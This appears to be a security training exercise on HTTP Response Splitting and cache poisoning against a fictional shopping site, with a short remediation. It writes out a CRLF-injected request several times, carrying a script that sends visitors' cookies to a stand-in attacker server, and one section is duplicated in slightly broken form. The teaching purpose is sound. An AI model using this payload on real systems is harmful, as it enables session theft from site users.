HTTP Response Splitting

HTTP Response Splitting

1. EXERCISE BACKGROUND

The vulnerable application pane loads the online shopping application LotsOfGoods.me. It aggregates data from multiple off-line shops and presents it on a single platform. To offer each customer a personalized offer from the shops that are located near them, LotsOfGoods.me prompts its users to specify their location.
Alice is a legitimate user of this application. She wants to find a place nearby where she can buy a new laptop. She specifies the city where she rents her apartment.

image

2. LEGITIMATE FLOW

After Alice provided her city, the HTTP GET request goes to the server. This server resides in the cloud that uses some caching mechanism. So, the availability if the requested resource is, first, checked in the cache, and when nothing is found there – the request is forwarded to the application server.
In the right pane, you can see the GET request that goes to the server.

Application’s developer relied on the front-end validation of user input and didn’t implement the proper validation on the back-end. So, to show Alice the relevant goods that are available near her city, the server sets a cookie with the location provided by Alice and serves her the webpage.
To speed up the delivery, this webpage is saved also in the cache and is available there for the next two hours according to cache settings.
In the right pane, you can see the response from the application server.

image

image

3. MALICIOUS FLOW

Bob is a hacker. While he was scanning the application for vulnerabilities, he noticed that the server puts the location information in the cookie as is. If the location value is not sanitized, then this looks like a great chance to perform the HTTP Response Splitting attack.
Bob crafts the malicious payload that will trick the server into sending the page that contains a cookie-stealing script:

Cyberville\r\nContent-length: 113\r\n\r\n<script>document.write(“<img src=’https://www.bobsevilserver.com/catch?cookie=”+document.cookie+” ‘/>”);</script>

Then he puts it into the intercepted GET request instead of the legitimate payload.
In the right pane, you can see the malicious GET request that goes to the server.

GET /?location=Cyberville\r\nContent-length: 113\r\n\r\n<script>document.write(“<img src=’https://www.bobsevilserver.com/catch?cookie=”+document.cookie+” ‘/>”);</script> HTTP/1.1
Host: www.lotsofgoods.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html
Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
Referer: https://www.lotsofgoods.com

image

4. POISONED RESPONSE

The server, in turn, provides a response that contains Bob’s payload. Let us look more closely at this response to understand the effect of the malicious payload.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: location=Cyberville\r\nContent-Length: 113\r\n\r\n<script>document.write(“<img src=’https://www.bobsevilserver.com/catch?cookie=”+document.cookie+” ‘/>”);</script>
Content-Length: 23512
<html>

image

With his malicious cookie, Bob breaks the structure of the normal response and re-constructs it with the malicious script add-on using the combination of \r\n symbols.
\r\n denotes a line break. With the first \r\n Bob inserts a new Content-Length header, and its value equals the size of the malicious code string.

With the next two \r\n‘s Bob inserts a mandatory empty line before the response body, and after that – his malicious code as that body. The browser ignores the rest of the response because it doesn’t fit into 113 symbols specified in Bob’s Content-Length header.
To summarize, Bob re-created a response with malicious content inside the normal response, using \r\n line breaks. When this response is served to users (through Cache Poisoning), malicious code executes in their browsers.

4. POISONED RESPONSE

The server, in turn, provides a response that contains Bob’s payload. Let us look more closely at this response to understand the effect of the malicious payload.

GET /?location=Cyberville\r\nContent-length: 113\r\n\r\n<script>document.write(“<img src=’https://www.bobsevilserver.com/catch?cookie=”+document.cookie+” ‘/>”);</script> HTTP/1.1
Host: www.lotsofgoods.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html
Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
Referer: https://www.lotsofgoods.com

image

5. VULNERABILITY EXPLOITED

What happens next? One can say that nothing bad happened yet because Bob has only hacked himself and stole his own cookie.
But we shouldn’t forget about the cache. Each user that will request the LotsOfGoods.me homepage in the next 2 hours (the actual time depends on cache settings) will receive Bob’s malicious response from the cache server. The script will be executed in their browsers, and their cookies will be stolen.
To check whether Bob’s attack was successful, copy and paste the following command into the console:
cat /var/log/apache2/access.log

As you can see, the users that come to the LotsOfGoods.me webpage keep receiving the poisoned page from the cache, and Bob gets access to their cookies.

image

6. VULNERABILITY OVERVIEW

Let us quickly review what happened during the attack.
HTTP Response Splitting was used to trick the server into returning the malicious payload as a legitimate webpage in the response. This is achieved by using \r\n combination of symbols to make the server interpret it as a line break and to insert the malicious page content over the legitimate one.
Cache Poisoning happened when that malicious response was saved in cache and then served to users in response to their ordinary requests.
In the right pane, there are two examples of how the \r\n combination can be used to:

  • insert an arbitrary custom header (e.g. to bypass some security control)
  • insert a new Content-Length header and a response body for the XSS or defacement attack

image

7. REMEDIATION

Remediation to this vulnerability is pretty straightforward:
Each time you develop some new request parsing logic on your web server, make sure you filter out \r\n combination of symbols (or each of them separately) to prevent HTTP Response Splitting.

image

Comments are closed.